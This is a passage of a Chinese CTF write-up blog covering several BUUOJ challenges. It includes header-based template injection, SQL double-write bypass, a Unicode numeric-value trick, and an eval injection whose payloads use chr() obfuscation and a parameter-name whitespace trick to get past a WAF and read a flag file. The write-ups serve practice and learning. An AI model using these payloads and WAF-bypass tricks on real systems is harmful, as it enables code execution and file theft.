param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

[BJDCTF2020]The mystery of ip

模板注入, 读了下源码

if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ip=$_SERVER['REMOTE_ADDR'];
}

获取 ip 的方式如上, 我们只要随便选一个填写注入代码就可以了

我用的是client-ip

[极客大挑战 2019]BabySQL

双写绕过

[ASIS 2019]Unicorn shop

参考 https://shawroot.hatenablog.com/entry/2019/10/29/ASIS_2019-Unicorn_shop

随便买个东西会发现报错

这个有点迷惑, 查了下好像是环境的问题, 如果改动price会有另外一个错误

提示我们需要用一个char来表示数字, 结合题目的unicorn, 应该指的是unicode, 可以在这个网址找到

并且我们可以看到有些字符会有一个Numeric Value的值, 这就可以用来转换了, 像这样找到一个大于1337(最贵的 item)的值就可以了

[RoarCTF 2019]Easy Calc

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

源码很简单, 只需要将需要绕过的地方用chr()表示就可以了, 但是这里有个 waf, 当时一直绕不过去, 看了 wp 才知道, 在 php 解析变量的时候, 会替换空白符, 也就是说在 php 中

?num=1

?%20num=1

是一样的, 但是对于其他的语言并不一定, 所以可以通过这样的方法来绕过 waf

那么 payload 如下

1;var_dump(scandir(chr(47))); // ls
1;readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)); // /f1agg


作者: cjm00n
地址: https://cjm00n.top/CTF/buuoj-writeup-1.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

BuuOJ刷题记录2 HTB-Hack之旅

评论